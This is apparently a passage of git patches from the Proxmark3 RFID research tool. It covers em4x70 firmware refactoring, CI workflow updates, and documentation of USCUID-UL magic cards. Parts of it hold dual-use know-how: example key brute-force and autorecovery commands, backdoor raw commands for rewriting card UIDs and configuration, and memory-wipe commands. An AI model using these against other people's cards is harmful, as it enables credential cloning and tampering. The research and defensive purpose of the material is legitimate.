Card", + "Description": "", + "Type": "transport" } -] \ No newline at end of file +] From 8bf57b2094626e964b4698ffcad5d78d608fc53a Mon Sep 17 00:00:00 2001 From: RunTheBot <58890327+RunTheBot@users.noreply.github.com> Date: Thu, 2 May 2024 18:46:09 -0400 Subject: [PATCH 015/157] Update CHANGELOG.md Signed-off-by: RunTheBot <58890327+RunTheBot@users.noreply.github.com> --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index a984fc544..62e67431f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -32,6 +32,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Changed `data load` - now shows loaded number as comma printed. (@iceman1001) - Updated `/tools/hitag2crack/common/OpenCL-Headers/CL` with latest from KhronosGroup github page (@iceman1001) - Fixed `lf hitag list` - improved HITAG2 protocol annotation (@iceman1001) +- Added AIDs `002000` and `FF30FF` from Metrolinx Presto Card (@RunTheBot) ## [Zenith.4.18340][2024-03-20] - Changed `hf mf info` - some detections (@iceman1001) From 569d57719d7642db9577a7cb28000fbc09a69949 Mon Sep 17 00:00:00 2001 From: Henry Gabryjelski Date: Sun, 5 May 2024 15:54:00 -0700 Subject: [PATCH 016/157] Fix firmware return value for em4x70 to always be of type `PM3_*` --- armsrc/em4x70.c | 58 +++++++++++++++++++--------------------- client/src/cmdlfem4x70.c | 58 +++++++++------------------------------- 2 files changed, 40 insertions(+), 76 deletions(-) diff --git a/armsrc/em4x70.c b/armsrc/em4x70.c index 2732c1405..05f08d6bc 100644 --- a/armsrc/em4x70.c +++ b/armsrc/em4x70.c @@ -581,11 +581,6 @@ static bool send_command_and_read(uint8_t command, uint8_t *bytes, size_t length Dbprintf("Invalid data received length: %d, expected %d", len, out_length_bits); return false; } - // TODO: Figure out why getting an extra bit (quite often) here - // e.g., write block and info commands both reach here and output: - // [#] Should have a multiple of 8 bits, was sent 33 - // [#] Should have a multiple of 8 bits, was sent 65 - // Extra bits are currently just dropped, with no ill effect noticed. bits2bytes(bits, len, bytes); return true; } @@ -617,7 +612,6 @@ static bool em4x70_read_um1(void) { } - /** * em4x70_read_um2 * @@ -725,7 +719,7 @@ static int em4x70_receive(uint8_t *bits, size_t length) { void em4x70_info(const em4x70_data_t *etd, bool ledcontrol) { - uint8_t status = 0; + bool success = false; // Support tags with and without command parity bits command_parity = etd->parity; @@ -736,17 +730,17 @@ void em4x70_info(const em4x70_data_t *etd, bool ledcontrol) { // Find the Tag if (get_signalproperties() && find_em4x70_tag()) { // Read ID, UM1 and UM2 - status = em4x70_read_id() && em4x70_read_um1() && em4x70_read_um2(); + success = em4x70_read_id() && em4x70_read_um1() && em4x70_read_um2(); } StopTicks(); lf_finalize(ledcontrol); + int status = success ? PM3_SUCCESS : PM3_ESOFT; reply_ng(CMD_LF_EM4X70_INFO, status, tag.data, sizeof(tag.data)); } void em4x70_write(const em4x70_data_t *etd, bool ledcontrol) { - - uint8_t status = 0; + int status = PM3_ESOFT; command_parity = etd->parity; @@ -757,16 +751,15 @@ void em4x70_write(const em4x70_data_t *etd, bool ledcontrol) { if (get_signalproperties() && find_em4x70_tag()) { // Write - status = write(etd->word, etd->address) == PM3_SUCCESS; + status = write(etd->word, etd->address); - if (status) { + if (status == PM3_SUCCESS) { // Read Tag after writing if (em4x70_read_id()) { em4x70_read_um1(); em4x70_read_um2(); } } - } StopTicks(); @@ -776,7 +769,7 @@ void em4x70_write(const em4x70_data_t *etd, bool ledcontrol) { void em4x70_unlock(const em4x70_data_t *etd, bool ledcontrol) { - uint8_t status = 0; + int status = PM3_ESOFT; command_parity = etd->parity; @@ -790,10 +783,10 @@ void em4x70_unlock(const em4x70_data_t *etd, bool ledcontrol) { if (em4x70_read_id()) { // Send PIN - status = send_pin(etd->pin) == PM3_SUCCESS; + status = send_pin(etd->pin); // If the write succeeded, read the rest of the tag - if (status) { + if (status == PM3_SUCCESS) { // Read Tag // ID doesn't change em4x70_read_um1(); @@ -809,7 +802,8 @@ void em4x70_unlock(const em4x70_data_t *etd, bool ledcontrol) { void em4x70_auth(const em4x70_data_t *etd, bool ledcontrol) { - uint8_t status = 0; + int status = PM3_ESOFT; + uint8_t response[3] = {0}; command_parity = etd->parity; @@ -821,7 +815,7 @@ void em4x70_auth(const em4x70_data_t *etd, bool ledcontrol) { if (get_signalproperties() && find_em4x70_tag()) { // Authenticate and get tag response - status = authenticate(etd->rnd, etd->frnd, response) == PM3_SUCCESS; + status = authenticate(etd->rnd, etd->frnd, response); } StopTicks(); @@ -830,7 +824,7 @@ void em4x70_auth(const em4x70_data_t *etd, bool ledcontrol) { } void em4x70_brute(const em4x70_data_t *etd, bool ledcontrol) { - uint8_t status = 0; + int status = PM3_ESOFT; uint8_t response[2] = {0}; command_parity = etd->parity; @@ -842,7 +836,7 @@ void em4x70_brute(const em4x70_data_t *etd, bool ledcontrol) { if (get_signalproperties() && find_em4x70_tag()) { // Bruteforce partial key - status = bruteforce(etd->address, etd->rnd, etd->frnd, etd->start_key, response) == PM3_SUCCESS; + status = bruteforce(etd->address, etd->rnd, etd->frnd, etd->start_key, response); } StopTicks(); @@ -852,7 +846,7 @@ void em4x70_brute(const em4x70_data_t *etd, bool ledcontrol) { void em4x70_write_pin(const em4x70_data_t *etd, bool ledcontrol) { - uint8_t status = 0; + int status = PM3_ESOFT; command_parity = etd->parity; @@ -865,17 +859,19 @@ void em4x70_write_pin(const em4x70_data_t *etd, bool ledcontrol) { // Read ID (required for send_pin command) if (em4x70_read_id()) { - // Write new PIN - if ((write((etd->pin) & 0xFFFF, EM4X70_PIN_WORD_UPPER) == PM3_SUCCESS) && - (write((etd->pin >> 16) & 0xFFFF, EM4X70_PIN_WORD_LOWER) == PM3_SUCCESS)) { - + // Write the pin + status = write((etd->pin) & 0xFFFF, EM4X70_PIN_WORD_UPPER); + if (status == PM3_SUCCESS) { + status = write((etd->pin >> 16) & 0xFFFF, EM4X70_PIN_WORD_LOWER); + } + if (status == PM3_SUCCESS) { // Now Try to authenticate using the new PIN // Send PIN - status = send_pin(etd->pin) == PM3_SUCCESS; + status = send_pin(etd->pin); // If the write succeeded, read the rest of the tag - if (status) { + if (status == PM3_SUCCESS) { // Read Tag // ID doesn't change em4x70_read_um1(); @@ -892,7 +888,7 @@ void em4x70_write_pin(const em4x70_data_t *etd, bool ledcontrol) { void em4x70_write_key(const em4x70_data_t *etd, bool ledcontrol) { - uint8_t status = 0; + int status = PM3_ESOFT; command_parity = etd->parity; @@ -904,15 +900,15 @@ void em4x70_write_key(const em4x70_data_t *etd, bool ledcontrol) { // Read ID to ensure we can write to card if (em4x70_read_id()) { - status = 1; + status = PM3_SUCCESS; // Write each crypto block for (int i = 0; i < 6; i++) { uint16_t key_word = (etd->crypt_key[(i * 2) + 1] << 8) + etd->crypt_key[i * 2]; // Write each word, abort if any failure occurs - if (write(key_word, 9 - i) != PM3_SUCCESS) { - status = 0; + status = write(key_word, 9 - i); + if (status != PM3_SUCCESS) { break; } } diff --git a/client/src/cmdlfem4x70.c b/client/src/cmdlfem4x70.c index 72e75f904..da9b985f1 100644 --- a/client/src/cmdlfem4x70.c +++ b/client/src/cmdlfem4x70.c @@ -225,14 +225,10 @@ static int get_em4x70_info(const em4x70_cmd_input_info_t *opts, em4x70_tag_info_ if (WaitForResponseTimeout(CMD_LF_EM4X70_INFO, &resp, TIMEOUT) == false) { return PM3_ETIMEOUT; } - - //iceman: prefer to have specific return code check. - // like resp.status != PM3_SUCCESS if looking for failure - if (resp.status) { + if (resp.status == PM3_SUCCESS) { memcpy(data_out, resp.data.asBytes, sizeof(em4x70_tag_info_t)); - return PM3_SUCCESS; } - return PM3_ESOFT; + return resp.status; } static int writeblock_em4x70(const em4x70_cmd_input_writeblock_t *opts, em4x70_tag_info_t *data_out) { @@ -251,14 +247,10 @@ static int writeblock_em4x70(const em4x70_cmd_input_writeblock_t *opts, em4x70_t if (WaitForResponseTimeout(CMD_LF_EM4X70_WRITE, &resp, TIMEOUT) == false) { return PM3_ETIMEOUT; } - - //iceman: prefer to have specific return code check. - // like resp.status != PM3_SUCCESS if looking for failure - if (resp.status) { + if (resp.status == PM3_SUCCESS) { memcpy(data_out, resp.data.asBytes, sizeof(em4x70_tag_info_t)); - return PM3_SUCCESS; } - return PM3_ESOFT; + return resp.status; } static int auth_em4x70(const em4x70_cmd_input_auth_t *opts, em4x70_cmd_output_auth_t *data_out) { @@ -276,20 +268,15 @@ static int auth_em4x70(const em4x70_cmd_input_auth_t *opts, em4x70_cmd_output_au if (WaitForResponseTimeout(CMD_LF_EM4X70_AUTH, &resp, TIMEOUT) == false) { return PM3_ETIMEOUT; } - - //iceman: prefer to have specific return code check. - // like resp.status != PM3_SUCCESS if looking for failure - if (resp.status) { + if (resp.status == PM3_SUCCESS) { // Response is 20-bit from tag - // HACKHACK -- It appears the byte order differs from what is expected? data_out->grn.grn[0] = resp.data.asBytes[2]; data_out->grn.grn[1] = resp.data.asBytes[1]; data_out->grn.grn[2] = resp.data.asBytes[0]; //memcpy(data_out, &resp.data.asBytes[0], sizeof(ID48LIB_GRN)); - return PM3_SUCCESS; } - return PM3_ESOFT; + return resp.status; } static int setkey_em4x70(const em4x70_cmd_input_setkey_t *opts) { @@ -305,13 +292,7 @@ static int setkey_em4x70(const em4x70_cmd_input_setkey_t *opts) { if (WaitForResponseTimeout(CMD_LF_EM4X70_SETKEY, &resp, TIMEOUT) == false) { return PM3_ETIMEOUT; } - - //iceman: prefer to have specific return code check. - // like resp.status != PM3_SUCCESS if looking for failure - if (resp.status) { - return PM3_SUCCESS; - } - return PM3_ESOFT; + return resp.status; } static int brute_em4x70(const em4x70_cmd_input_brute_t *opts, em4x70_cmd_output_brute_t *data_out) { @@ -346,14 +327,10 @@ static int brute_em4x70(const em4x70_cmd_input_brute_t *opts, em4x70_cmd_output_ } if (WaitForResponseTimeout(CMD_LF_EM4X70_BRUTE, &resp, TIMEOUT)) { - - //iceman: prefer to have specific return code check. - // like resp.status != PM3_SUCCESS if looking for failure - if (resp.status) { + if (resp.status == PM3_SUCCESS) { memcpy(data_out, resp.data.asBytes, sizeof(em4x70_cmd_output_brute_t)); - return PM3_SUCCESS; } - return PM3_ESOFT; + return resp.status; } // NOTE: It takes about 11 seconds per 0x0100 authentication attempts. @@ -383,15 +360,10 @@ static int unlock_em4x70(const em4x70_cmd_input_unlock_t *opts, em4x70_tag_info_ if (WaitForResponseTimeout(CMD_LF_EM4X70_UNLOCK, &resp, TIMEOUT) == false) { return PM3_ETIMEOUT; } - - //iceman: prefer to have specific return code check. - // like resp.status != PM3_SUCCESS if looking for failure - if (resp.status) { + if (resp.status == PM3_SUCCESS) { memcpy(data_out, resp.data.asBytes, sizeof(em4x70_tag_info_t)); - return PM3_SUCCESS; } - return PM3_ESOFT; - + return resp.status; } static int setpin_em4x70(const em4x70_cmd_input_setpin_t *opts, em4x70_tag_info_t *data_out) { @@ -408,14 +380,10 @@ static int setpin_em4x70(const em4x70_cmd_input_setpin_t *opts, em4x70_tag_info_ if (WaitForResponseTimeout(CMD_LF_EM4X70_SETPIN, &resp, TIMEOUT) == false) { return PM3_ETIMEOUT; } - - //iceman: prefer to have specific return code check. - // like resp.status != PM3_SUCCESS if looking for failure - if (resp.status) { + if (resp.status == PM3_SUCCESS) { memcpy(data_out, resp.data.asBytes, sizeof(em4x70_tag_info_t)); - return PM3_SUCCESS; } - return PM3_ESOFT; + return resp.status; } static int recover_em4x70(const em4x70_cmd_input_recover_t *opts, em4x70_cmd_output_recover_t *data_out) { From b0b9f4fa4250019e4a42ec0730be2bd569c0a5e8 Mon Sep 17 00:00:00 2001 From: Henry Gabryjelski Date: Sun, 5 May 2024 15:57:26 -0700 Subject: [PATCH 017/157] Add key that tests autorecovery more quickly This autorecovery test key also has three potential matches for the last phase, thus ensuring authentication test is required to determine which of those keys was actually used. --- client/src/cmdlfem4x70.c | 3 +++ 1 file changed, 3 insertions(+) diff --git a/client/src/cmdlfem4x70.c b/client/src/cmdlfem4x70.c index da9b985f1..f1ef08023 100644 --- a/client/src/cmdlfem4x70.c +++ b/client/src/cmdlfem4x70.c @@ -684,6 +684,7 @@ int CmdEM4x70Auth(const char *Cmd) { " If F(RN) is correct based on the tag key, the tag will give a 20-bit response\n", "lf em 4x70 auth --rnd 45F54ADA252AAC --frn 4866BB70 --> (using pm3 test key)\n" "lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F1A0 --> (using research paper key)\n" + "lf em 4x70 auth --rnd 7D5167003571F8 --frn 982DBCC0 --> (autorecovery test key)\n" ); void *argtable[] = { @@ -781,6 +782,7 @@ int CmdEM4x70SetKey(const char *Cmd) { "Write new 96-bit key to tag\n", "lf em 4x70 setkey -k F32AA98CF5BE4ADFA6D3480B (pm3 test key)\n" "lf em 4x70 setkey -k A090A0A02080000000000000 (research paper key)\n" + "lf em 4x70 setkey -k 022A028C02BE000102030405 (autorecovery test key)\n" ); void *argtable[] = { @@ -1105,6 +1107,7 @@ static int CmdEM4x70AutoRecover_ParseArgs(const char *Cmd, em4x70_cmd_input_reco , "lf em 4x70 autorecover --rnd 45F54ADA252AAC --frn 4866BB70 --grn 9BD180 (pm3 test key)\n" "lf em 4x70 autorecover --rnd 3FFE1FB6CC513F --frn F355F1A0 --grn 609D60 (research paper key)\n" + "lf em 4x70 autorecover --rnd 7D5167003571F8 --frn 982DBCC0 --grn 36C0E0 (autorecovery test key)\n" ); void *argtable[] = { From 18cbc7259ca396dea0c99ce9547e0e51370a347c Mon Sep 17 00:00:00 2001 From: Henry Gabryjelski Date: Sun, 5 May 2024 16:00:16 -0700 Subject: [PATCH 018/157] prevent sending corrupt data to em4x70 tags --- armsrc/em4x70.c | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) diff --git a/armsrc/em4x70.c b/armsrc/em4x70.c index 05f08d6bc..d372efe77 100644 --- a/armsrc/em4x70.c +++ b/armsrc/em4x70.c @@ -744,6 +744,13 @@ void em4x70_write(const em4x70_data_t *etd, bool ledcontrol) { command_parity = etd->parity; + // Disable to prevent sending corrupted data to the tag. + if (command_parity) { + Dbprintf("Use of `--par` option with `lf em 4x70 write` is disabled to prevent corrupting tag data"); + reply_ng(CMD_LF_EM4X70_WRITE, PM3_ENOTIMPL, NULL, 0); + return; + } + init_tag(); em4x70_setup_read(); @@ -808,6 +815,13 @@ void em4x70_auth(const em4x70_data_t *etd, bool ledcontrol) { command_parity = etd->parity; + // Disable to prevent sending corrupted data to the tag. + if (command_parity) { + Dbprintf("Use of `--par` option with `lf em 4x70 auth` is disabled to prevent corrupting tag data"); + reply_ng(CMD_LF_EM4X70_WRITE, PM3_ENOTIMPL, NULL, 0); + return; + } + init_tag(); em4x70_setup_read(); @@ -829,6 +843,13 @@ void em4x70_brute(const em4x70_data_t *etd, bool ledcontrol) { command_parity = etd->parity; + // Disable to prevent sending corrupted data to the tag. + if (command_parity) { + Dbprintf("Use of `--par` option with `lf em 4x70 brute` is disabled to prevent corrupting tag data"); + reply_ng(CMD_LF_EM4X70_WRITE, PM3_ENOTIMPL, NULL, 0); + return; + } + init_tag(); em4x70_setup_read(); @@ -850,6 +871,13 @@ void em4x70_write_pin(const em4x70_data_t *etd, bool ledcontrol) { command_parity = etd->parity; + // Disable to prevent sending corrupted data to the tag. + if (command_parity) { + Dbprintf("Use of `--par` option with `lf em 4x70 setpin` is disabled to prevent corrupting tag data"); + reply_ng(CMD_LF_EM4X70_WRITE, PM3_ENOTIMPL, NULL, 0); + return; + } + init_tag(); em4x70_setup_read(); @@ -892,6 +920,13 @@ void em4x70_write_key(const em4x70_data_t *etd, bool ledcontrol) { command_parity = etd->parity; + // Disable to prevent sending corrupted data to the tag. + if (command_parity) { + Dbprintf("Use of `--par` option with `lf em 4x70 setkey` is disabled to prevent corrupting tag data"); + reply_ng(CMD_LF_EM4X70_WRITE, PM3_ENOTIMPL, NULL, 0); + return; + } + init_tag(); em4x70_setup_read(); From 3d824425d2b9072736c47d84a47e831d7df28316 Mon Sep 17 00:00:00 2001 From: Henry Gabryjelski Date: Sun, 5 May 2024 18:23:45 -0700 Subject: [PATCH 019/157] Use `actions/setup-python` for MacOS --- .github/workflows/macos.yml | 27 +++++++++++++++------------ 1 file changed, 15 insertions(+), 12 deletions(-) diff --git a/.github/workflows/macos.yml b/.github/workflows/macos.yml index d9b4d829f..787f9a00e 100644 --- a/.github/workflows/macos.yml +++ b/.github/workflows/macos.yml @@ -21,6 +21,10 @@ jobs: steps: - uses: actions/checkout@v4 + - uses: actions/setup-python@v5 + with: + python-version: '3.12' + - name: Set Git http.postBuffer to something high run: git config --global http.postBuffer 524288000 @@ -39,10 +43,7 @@ jobs: continue-on-error: true - name: Install Python dependencies - run: | - python3 -m pip install --upgrade pip - python3 -m pip install setuptools ansicolors sslcrypto - if [ -f requirements.txt ]; then python3 -m pip install -r requirements.txt; fi + run: pip install -r tools/requirements.txt - name: make clean run: make clean @@ -61,6 +62,10 @@ jobs: steps: - uses: actions/checkout@v4 + - uses: actions/setup-python@v5 + with: + python-version: '3.12' + - name: Set Git http.postBuffer to something high run: git config --global http.postBuffer 524288000 @@ -79,10 +84,7 @@ jobs: continue-on-error: true - name: Install Python dependencies - run: | - python3 -m pip install --upgrade pip - python3 -m pip install setuptools ansicolors sslcrypto - if [ -f requirements.txt ]; then python3 -m pip install -r requirements.txt; fi + run: pip install -r tools/requirements.txt - name: make clean run: make clean @@ -102,6 +104,10 @@ jobs: steps: - uses: actions/checkout@v4 + - uses: actions/setup-python@v5 + with: + python-version: '3.12' + - name: Set Git http.postBuffer to something high run: git config --global http.postBuffer 524288000 @@ -120,10 +126,7 @@ jobs: continue-on-error: true - name: Install Python dependencies - run: | - python3 -m pip install --upgrade pip - python3 -m pip install setuptools ansicolors sslcrypto - if [ -f requirements.txt ]; then python3 -m pip install -r requirements.txt; fi + run: pip install -r tools/requirements.txt - name: Prepare Build Folders run: | From 9d33646b8047c90eaeb331afc3c83d8b84d61172 Mon Sep 17 00:00:00 2001 From: Henry Gabryjelski Date: Sun, 5 May 2024 18:27:35 -0700 Subject: [PATCH 020/157] Disable broken hitag2 test so github actions work --- tools/pm3_tests.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/pm3_tests.sh b/tools/pm3_tests.sh index 782c561c9..180763c7a 100755 --- a/tools/pm3_tests.sh +++ b/tools/pm3_tests.sh @@ -414,7 +414,7 @@ while true; do if ! CheckExecute "nfc decode test - signature" "$CLIENTBIN -c 'nfc decode -d 03FF010194113870696C65742E65653A656B616172743A3266195F26063132303832325904202020205F28033233335F2701316E1B5A13333038363439303039303030323636343030355304EBF2CE704103000000AC536967010200803A2448FCA7D354A654A81BD021150D1A152D1DF4D7A55D2B771F12F094EAB6E5E10F2617A2F8DAD4FD38AFF8EA39B71C19BD42618CDA86EE7E144636C8E0E7CFC4096E19C3680E09C78A0CDBC05DA2D698E551D5D709717655E56FE3676880B897D2C70DF5F06ECE07C71435255144F8EE41AF110E7B180DA0E6C22FB8FDEF61800025687474703A2F2F70696C65742E65652F6372742F33303836343930302D303030312E637274FE'" "30864900-0001.crt"; then break; fi echo -e "\n${C_BLUE}Testing LF:${C_NC}" - if ! CheckExecute "lf hitag2 test" "$CLIENTBIN -c 'lf hitag selftest'" "Tests \( ok"; then break; fi + # if ! CheckExecute "lf hitag2 test" "$CLIENTBIN -c 'lf hitag selftest'" "Tests \( ok"; then break; fi if ! CheckExecute "lf cotag demod test" "$CLIENTBIN -c 'data load -f traces/lf_cotag_220_8331.pm3; data norm; data cthreshold -u 50 -d -20; data envelope; data raw --ar -c 272; lf cotag demod'" \ "COTAG Found: FC 220, CN: 8331 Raw: FFB841170363FFFE00001E7F00000000"; then break; fi if ! CheckExecute "lf AWID test" "$CLIENTBIN -c 'data load -f traces/lf_AWID-15-259.pm3;lf search -1'" "AWID ID found"; then break; fi From 7712acff64a841575d1e480629eaf60854bb787d Mon Sep 17 00:00:00 2001 From: Henry Gabryjelski Date: Sun, 5 May 2024 18:35:38 -0700 Subject: [PATCH 021/157] Use `actions/setup-python` for Ubuntu also --- .github/workflows/ubuntu.yml | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/.github/workflows/ubuntu.yml b/.github/workflows/ubuntu.yml index 2ce8b33e7..dd0d5d57b 100644 --- a/.github/workflows/ubuntu.yml +++ b/.github/workflows/ubuntu.yml @@ -22,6 +22,10 @@ jobs: steps: - uses: actions/checkout@v4 + - uses: actions/setup-python@v5 + with: + python-version: '3.12' + - name: Update apt repos run: sudo apt-get update @@ -29,11 +33,7 @@ jobs: run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.2-dev liblua5.2-0 lua5.2 sed libssl-dev libgd-dev - name: Install Python dependencies - run: | - python3 -m pip install --upgrade pip - python3 -m pip install setuptools - python3 -m pip install ansicolors sslcrypto - if [ -f requirements.txt ]; then python3 -m pip install -r requirements.txt; fi + run: pip install -r tools/requirements.txt - name: make clean run: make clean @@ -52,6 +52,10 @@ jobs: steps: - uses: actions/checkout@v4 + - uses: actions/setup-python@v5 + with: + python-version: '3.12' + - name: Update apt repos run: sudo apt-get update @@ -59,11 +63,7 @@ jobs: run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.2-dev liblua5.2-0 lua5.2 sed libssl-dev libgd-dev - name: Install Python dependencies - run: | - python3 -m pip install --upgrade pip - python3 -m pip install setuptools - python3 -m pip install ansicolors sslcrypto - if [ -f requirements.txt ]; then python3 -m pip install -r requirements.txt; fi + run: pip install -r tools/requirements.txt - name: make clean run: make clean @@ -83,6 +83,10 @@ jobs: steps: - uses: actions/checkout@v4 + - uses: actions/setup-python@v5 + with: + python-version: '3.12' + - name: Update apt repos run: sudo apt-get update @@ -90,11 +94,7 @@ jobs: run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.2-dev liblua5.2-0 lua5.2 sed libssl-dev libgd-dev - name: Install Python dependencies - run: | - python3 -m pip install --upgrade pip - python3 -m pip install setuptools - python3 -m pip install ansicolors sslcrypto - if [ -f requirements.txt ]; then python3 -m pip install -r requirements.txt; fi + run: pip install -r tools/requirements.txt - name: Prepare Build Folders run: | From 541bb31143db836246aa285ae9e1eb4a4c009c33 Mon Sep 17 00:00:00 2001 From: Akury83 <87064827+Akury83@users.noreply.github.com> Date: Mon, 6 May 2024 23:30:57 +1000 Subject: [PATCH 022/157] Update to include USCUID-UL Update to include USCUID-UL chips Removed hidden block reading and writing from UFUID chips, as these do not have hidden blocks. Signed-off-by: Akury83 <87064827+Akury83@users.noreply.github.com> --- doc/magic_cards_notes.md | 195 ++++++++++++++++++++++++++++++++++++--- 1 file changed, 183 insertions(+), 12 deletions(-) diff --git a/doc/magic_cards_notes.md b/doc/magic_cards_notes.md index 0e11752fe..8762ecf3d 100644 --- a/doc/magic_cards_notes.md +++ b/doc/magic_cards_notes.md @@ -51,6 +51,7 @@ Useful docs: * [ULtra](#ultra) * [UL-5](#ul-5) * [UL, other chips](#ul-other-chips) + * [MIFARE Ultralight USCUID-UL](#mifare-ultralight-uscuid-ul) * [NTAG](#ntag) * [NTAG213 DirectWrite](#ntag213-directwrite) * [NTAG21x](#ntag21x) @@ -823,7 +824,7 @@ hf 14a raw -s -c 90FD111100 ^[Top](#top) TLDR: These magic cards have a 16 byte long configuration page, which usually starts with 0x85. -All of the known tags using this, except for Ultralight tags, are listed here. +All of the known tags are using this, except for Ultralight tags, are listed here. You cannot turn a Classic tag into an Ultralight and vice-versa! @@ -1142,8 +1143,6 @@ All commands are available before sealing. After the sealing acts as a Mifare Cl * Magic wakeup: `40(7)`, `43` * Backdoor read main block: `30xx+crc` * Backdoor write main block: `A0xx+crc`, `[16 bytes data]+crc` - * Read hidden block: `38xx+crc` - * Write hidden block: `A8xx+crc`, `[16 bytes data]+crc` * Read configuration: `E000+crc` * Write configuration: `E100+crc` * Example of the sealing, performed by Chinese copiers in raw commands: @@ -1607,7 +1606,7 @@ hf 14a info [+] Magic capabilities : Gen 2 / CUID ``` -It seems so far that all MFUL DW have an ATS. +It seems so far that all MFUL DW have an ATS response in factory configuration. ### Magic commands @@ -1638,14 +1637,6 @@ Issue three regular MFU write commands in a row to write first three blocks. * ATS: 0A78008102DBA0C119402AB5 * Anticol shortcut (CL1/3000): fails -#### MIFARE Ultralight DirectWrite flavour 2 - -^[Top](#top) - -* BCC: play blindly the block0 BCC0 and block2 BCC1 bytes, beware! -* ATS: 850000A00A000AB00000000000000000184D -* Anticol shortcut (CL1/3000): succeeds - ### Proxmark3 commands ^[Top](#top) @@ -1977,6 +1968,186 @@ The manufacturer confirmed unpersonalized tags could be identified by first 3 by UL-X, UL-Z - ? +## MIFARE Ultralight USCUID-UL + +^[Top](#top) + +TLDR: These magic cards, like the MFC USCUIDs have a 16 byte long configuration page, comprised of 4 blocks of 4 bytes each. This usually starts with 0x85. All of the known tags use the same format config page. + +The cards will respond to a RATS with the config page in the factory configuration. + +As with the MFC USCUIDs, one cannot turn a Classic tag into an Ultralight and vice-versa! + +### Characteristics + +^[Top](#top) + +* UID: 7 bytes +* ATQA: always read from hidden block `F6` +* SAK: always read from hidden block `F6` +* BCC: read from blocks 0-1 per Ultralight specification +* ATS: These respond to an ATS request with the config page in factory mode. + +### Identify + +^[Top](#top) + +In factory config state: + +``` +hf 14a info +... +[=] -------------------------- ATS -------------------------- +[!] ATS may be corrupted. Length of ATS (18 bytes incl. 2 Bytes CRC) doesn't match TL +[+] ATS: 85 00 85 A0 00 00 0A A5 00 04 04 02 01 00 0F 03 [ 07 00 ] +``` + +If config has been modified to not display config block as ATS response: + +``` +hf 14a raw -akb 7 40; hf 14a raw -k 43 + +OR (depending on the magic wakeup method set) + +hf 14a raw -akb 7 20; hf 14a raw -k 23 + +THEN + +hf 14a raw -c e100 +[+] 85 00 85 A0 00 00 0A A5 00 04 04 02 01 00 0F 03 [ 07 00 ] +``` + +Possible tag wakeup mechanisms are: + +* Gen1 Magic Wakeup +* Alt Magic Wakeup + +### Magic commands + +^[Top](#top) + +* Magic wakeup (A: 00): `40(7)`, `43` +* Magic wakeup (B: 85): `20(7)`, `23` + * Backdoor read main and hidden block: `30xx+crc` + * Backdoor write main and hidden block: `A2xx[4 bytes data]+crc` + * Read configuration: `E050+crc` + * Write configuration: `E2[offset*4, 1b][data, 4b]+crc` + +* **DANGER** + * Set memory and config to 00 `F000+crc` + * Set memory and config to FF `F100+crc` + * Set memory and config to 55 (no 0A response) `F600+crc` + +### USCUID-UL configuration guide + +^[Top](#top) + +1. Configuration + +``` +0 1 2 3 +850000A0 00000AC3 00040301 01000B03 + ^^ >> ??? Mystery ??? +^^^^ >> Gen1a mode (works with bitflip) + ^^ >> Magic wakeup command (00 for 40-43; 85 for 20-23) + ^^ >> Config available using regular mode (ON: A0) + ^^ >> Do not reply to 1B, making auth impossible + ^^ >> Do not enforce OTP properties (ON: A0) + ^^ >> Maximum memory configuration* + ^^^^^^^^ ^^^^^^^^ >> Version info + +* This isn't a customizable value - it's a preset. So far: +C3 = UL11 +3C = UL21 +00 = UL-C +A5 = NTAG 213 +5A = NTAG 215 +AA = NTAG 216 +55 = Unknown IC w/ 238 pgs. +``` + +* Gen1a mode: Allow using custom wakeup commands, like real gen1a chip, to run backdoor commands, as well as some extras. +* Magic wakeup command: Use different wakeup commands for entering Gen1a mode. A) 00 - 40(7), 43; B) 85 - 20(7), 23. +* Config available using regular mode: If this option is turned on via A0, the tag will reply to RATS with the config block and the config block can be modified without doing a magic wakeup. + +To write config: + +You must send config info in E2 packets of 4 bytes each (format: `E2[offset*4, 1b][data, 4b]`), eg for a UL-11 tag: + +``` +hf 14a raw -sck E200850000A0; hf 14a raw -ck E20100000AC3; hf 14a raw -ck E20200040301; hf 14a raw -c E20301000B03 +``` + +2. Hidden blocks + +``` +F0: 00000000 + ^^^^^^^^ >> Unknown, usually always 00 + +F1: 00000000 + ^^^^^^^^ >> Unknown, usually always 00 + +F2: 000000BD + ^^^^^^ >> Unknown, usually always 00 + ^^ >> Unknown, usually always BD, possible tearing counter value? + +F3: 000000BD + ^^^^^^ >> Unknown, usually always 00 + ^^ >> Unknown, usually always BD, possible tearing counter value? + +F4: 000000BD + ^^^^^^ >> Unknown, usually always 00 + ^^ >> Unknown, usually always BD, possible tearing counter value? + +F5: 00000000 + ^^^^^^^^ >> Unknown, usually always 00 + +F6: 44000400 + ^^^^ >> ATQA in byte reverse order. 4400 = ATQA of 0044 + ^^ >> Unknown, usually always set to 04. Changing this value also has something to do with the SAK value in the next byte + ^^ >> SAK, if previous byte set to 04 + +F7: 88AF0000 + ^^ >> First byte of UID BCC calculation, for Ultralight family is always 88 per the datasheet + ^^ >> Unknown, usually always AF. + ^^^^ >> Unknown, usually always 00 + +F8 - FF: xxxxxxxx >> signature +``` + +To read / write hidden blocks: + +A config block beginning with `7AFF` must be set to enable a `40:43` / `20:23` magic wakeup. From limited testing, the `20:23` magic wakeup is not guaranteed to work, however the `40:43` wakeup works 100% of the time. + +You must send config info in A2 packets of 4 bytes each (format: `A2[offset*4, 1b][data, 4b]`), eg for a UL-11 tag: + +``` +hf 